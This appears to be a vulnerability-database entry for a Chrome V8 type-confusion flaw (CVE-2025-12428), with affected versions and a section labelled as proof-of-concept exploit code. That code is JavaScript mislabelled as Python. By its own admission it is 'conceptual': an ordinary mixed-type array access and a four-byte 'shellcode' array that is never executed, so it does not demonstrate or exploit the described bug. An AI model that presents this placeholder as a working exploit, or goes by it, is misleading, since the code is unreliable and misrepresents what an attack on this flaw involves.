Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers using V8 engine < 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12428 PoC - Type Confusion in V8
// This is a conceptual PoC demonstrating the vulnerability pattern
function triggerTypeConfusion() {
// Create objects that may cause type confusion in V8 optimization
const obj1 = { value: 0x41414141 };
const obj2 = { value: 1.5 };
// Use array with mixed types to confuse TurboFan
const arr = [obj1, obj2];
// Trigger optimization path that may have type confusion
function optimizedFunc(arr, idx) {
// This pattern may cause TurboFan to make incorrect type assumptions
const element = arr[idx];
// Potential type confusion when accessing element properties
return element.value + 1;
}
// Force optimization
for (let i = 0; i < 10000; i++) {
optimizedFunc(arr, 0);
}
// Trigger with different types to exploit confusion
optimizedFunc(arr, 1);
return arr;
}
// Malicious payload execution
function executePayload() {
const shellcode = [0x90, 0x90, 0xcc, 0xc3]; // NOP sled + INT3 + RET
// Additional exploitation code would go here
return shellcode;
}
// Entry point
try {
triggerTypeConfusion();
executePayload();
} catch (e) {
console.log('PoC executed: ' + e.message);
}